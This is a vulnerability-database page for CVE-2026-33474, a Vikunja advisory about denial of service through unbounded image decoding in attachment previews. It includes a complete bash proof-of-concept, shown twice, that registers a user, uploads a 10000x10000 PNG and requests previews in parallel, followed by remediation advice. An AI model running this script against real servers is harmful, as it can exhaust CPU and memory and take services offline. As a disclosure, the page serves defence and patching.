Vulnerability-Lookup

GHSA-WC83-79HJ-HPMQ

Vulnerability from github – Published: 2026-03-20 20:43 – Updated: 2026-03-25 20:59

Summary

Vikunja Affected by DoS via Image Preview Generation

Details

Summary

Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
Affected code:
Decoding without bounds: task_attachment.go:GetPreview
Resizing path: resizeImage
Endpoint invoking preview: GetTaskAttachment
Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Preconditions

API running locally (http://localhost:8080).
Task attachments enabled: task_attachments_enabled=true in Info.
Any authenticated user with write access to a task.

How It Works

Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.
The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.

Run The POC

Script:

#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:-dosuser@example.com}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUT_DIR"

echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
  echo "[!] Task attachments disabled"
  exit 1
fi

echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
  | tee "$OUT_DIR/register.json" >/dev/null || true

echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
  | tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token"
  exit 1
fi

echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$PROJECT_TITLE"'"}' \
  | tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
  echo "[!] Failed to get project id"
  exit 1
fi

echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$TASK_TITLE"'"}' \
  | tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
  echo "[!] Failed to get task id"
  exit 1
fi

echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true

echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
  -H "Authorization: Bearer $TOKEN" \
  -F "files=@$OUT_DIR/huge.png" \
  | tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
  echo "[!] Failed to get attachment id"
  exit 1
fi

echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
  "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
  -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
  '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
  -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"

Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.

Steps

Ensure the API is running on http://localhost:8080.
Execute: bash pocs/image-preview-dos/poc.sh
Outputs of interest:
/tmp/vikunja-poc-dos/time_xl.txt: /usr/bin/time -l timing and memory for the preview request.
/tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed.
/tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.

Environment Overrides

BASE_URL: API base (default http://localhost:8080)
USERNAME, EMAIL, PASSWORD: credentials for the test user
PROJECT_TITLE, TASK_TITLE: names for test artifacts
OUT_DIR: output directory (default /tmp/vikunja-poc-dos)

Expected Results

First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
Subsequent requests are faster due to caching.
Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.

Remediation

Enforce bounds prior to decode:
Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
Fail early by reading headers to extract dimensions before full decode.
Add per-user and per-attachment rate limiting for preview generation.
Pre-generate previews asynchronously with throttling and backpressure.
Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.

Notes

This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:43:11Z",
    "nvd_published_at": "2026-03-24T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.\n- Affected code:\n  - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229)\n  - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304)\n  - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203)\n- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.\n- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\n## Preconditions\n- API running locally (`http://localhost:8080`).\n- Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160).\n- Any authenticated user with write access to a task.\n\n## How It Works\n- Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000\u00d710,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.\n- The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244).\n\n## Run The POC\n- Script: \n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nBASE_URL=\"${BASE_URL:-http://localhost:8080}\"\nUSERNAME=\"${USERNAME:-dosuser}\"\nEMAIL=\"${EMAIL:-dosuser@example.com}\"\nPASSWORD=\"${PASSWORD:-StrongPass123!}\"\nPROJECT_TITLE=\"${PROJECT_TITLE:-poc-dos-preview}\"\nTASK_TITLE=\"${TASK_TITLE:-DoS preview test}\"\nOUT_DIR=\"${OUT_DIR:-/tmp/vikunja-poc-dos}\"\n\nmkdir -p \"$OUT_DIR\"\n\necho \"[+] Checking instance info\"\ncurl -sS \"$BASE_URL/api/v1/info\" | tee \"$OUT_DIR/info.json\" \u003e/dev/null\nif ! grep -q \u0027\"task_attachments_enabled\":true\u0027 \"$OUT_DIR/info.json\"; then\n  echo \"[!] Task attachments disabled\"\n  exit 1\nfi\n\necho \"[+] Registering user (may already exist)\"\ncurl -sS -X POST \"$BASE_URL/api/v1/register\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"\u0027\"$USERNAME\"\u0027\",\"email\":\"\u0027\"$EMAIL\"\u0027\",\"password\":\"\u0027\"$PASSWORD\"\u0027\",\"language\":\"en\"}\u0027 \\\n  | tee \"$OUT_DIR/register.json\" \u003e/dev/null || true\n\necho \"[+] Logging in\"\ncurl -sS -X POST \"$BASE_URL/api/v1/login\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"\u0027\"$USERNAME\"\u0027\",\"password\":\"\u0027\"$PASSWORD\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/login.json\" \u003e/dev/null\nTOKEN=\"$(sed -n \u0027s/.*\"token\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p\u0027 \"$OUT_DIR/login.json\")\"\nif [ -z \"$TOKEN\" ]; then\n  echo \"[!] Failed to get token\"\n  exit 1\nfi\n\necho \"[+] Creating project\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"title\":\"\u0027\"$PROJECT_TITLE\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/project.json\" \u003e/dev/null\nPROJECT_ID=\"$(python3 -c \u0027import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])\u0027 \"$OUT_DIR/project.json\")\"\nif [ -z \"$PROJECT_ID\" ]; then\n  echo \"[!] Failed to get project id\"\n  exit 1\nfi\n\necho \"[+] Creating task\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects/$PROJECT_ID/tasks\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"title\":\"\u0027\"$TASK_TITLE\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/task.json\" \u003e/dev/null\nTASK_ID=\"$(python3 -c \u0027import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])\u0027 \"$OUT_DIR/task.json\")\"\nif [ -z \"$TASK_ID\" ]; then\n  echo \"[!] Failed to get task id\"\n  exit 1\nfi\n\necho \"[+] Generating 10000x10000 PNG payload\"\npython3 - \u003c\u003c\u0027PY\u0027\nfrom PIL import Image\nimg = Image.new(\u0027RGB\u0027, (10000,10000), color=(0,0,0))\nimg.save(\u0027/tmp/vikunja-poc-dos/huge.png\u0027, optimize=True)\nPY\nfile \"$OUT_DIR/huge.png\" || true\nls -lh \"$OUT_DIR/huge.png\" || true\n\necho \"[+] Uploading attachment\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -F \"files=@$OUT_DIR/huge.png\" \\\n  | tee \"$OUT_DIR/attach.json\" \u003e/dev/null\nATTACHMENT_ID=\"$(python3 -c \u0027import json,sys; d=json.load(open(sys.argv[1])); print(d[\"success\"][0][\"id\"])\u0027 \"$OUT_DIR/attach.json\")\"\nif [ -z \"$ATTACHMENT_ID\" ]; then\n  echo \"[!] Failed to get attachment id\"\n  exit 1\nfi\n\necho \"[+] Requesting preview (xl)\"\n/usr/bin/time -l curl -sS -o \"$OUT_DIR/preview_xl.png\" \\\n  \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl\" \\\n  -H \"Authorization: Bearer $TOKEN\" 2\u003e \"$OUT_DIR/time_xl.txt\"\ndu -h \"$OUT_DIR/preview_xl.png\" || true\nfile \"$OUT_DIR/preview_xl.png\" || true\necho \"[+] Timing and memory (from /usr/bin/time):\"\ncat \"$OUT_DIR/time_xl.txt\" || true\n\necho \"[+] Parallel preview requests (cache warm) x10\"\nseq 1 10 | xargs -P 5 -I{} sh -c \"curl -s -w \u0027%{time_total}\\n\u0027 -o /dev/null \\\n  \u0027$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl\u0027 \\\n  -H \u0027Authorization: Bearer $TOKEN\u0027\" | tee \"$OUT_DIR/parallel_times.txt\" \u003e/dev/null\necho \"[+] Done. Outputs in $OUT_DIR\"\n\n```\n- Uses `curl` and `python3` (Pillow) to generate a 10k\u00d710k PNG, upload it, and request an xl preview while recording timing and memory metrics.\n\n### Steps\n1. Ensure the API is running on `http://localhost:8080`.\n2. Execute:\n   ```\n   bash pocs/image-preview-dos/poc.sh\n   ```\n3. Outputs of interest:\n   - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request.\n   - `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed.\n   - `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800\u00d7800 preview.\n\n### Environment Overrides\n- BASE_URL: API base (default `http://localhost:8080`)\n- USERNAME, EMAIL, PASSWORD: credentials for the test user\n- PROJECT_TITLE, TASK_TITLE: names for test artifacts\n- OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`)\n\n## Expected Results\n- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k\u00d710k image.\n- Subsequent requests are faster due to caching.\n- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.\n\n## Remediation\n- Enforce bounds prior to decode:\n  - Reject images exceeding max width/height (e.g., 8000\u00d78000) or max total pixels (e.g., 20M).\n  - Fail early by reading headers to extract dimensions before full decode.\n- Add per-user and per-attachment rate limiting for preview generation.\n- Pre-generate previews asynchronously with throttling and backpressure.\n- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.\n\n## Notes\n- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.",
  "id": "GHSA-wc83-79hj-hpmq",
  "modified": "2026-03-25T20:59:27Z",
  "published": "2026-03-20T20:43:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wc83-79hj-hpmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33474"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja Affected by DoS via Image Preview Generation"
}

CVE-2026-33474 (GCVE-0-2026-33474)

Vulnerability from cvelistv5 – Published: 2026-03-24 15:21 – Updated: 2026-03-24 15:52

Title

Vikunja Affected by DoS via Image Preview Generation

Summary

Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	go-vikunja	vikunja	Affected: >= 1.0.0-rc0, < 2.2.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-WC83-79HJ-HPMQ

Summary

Preconditions

How It Works

Run The POC

Steps

Environment Overrides

Expected Results

Remediation

Notes

CVE-2026-33474 (GCVE-0-2026-33474)

Tags

Sightings

Nomenclature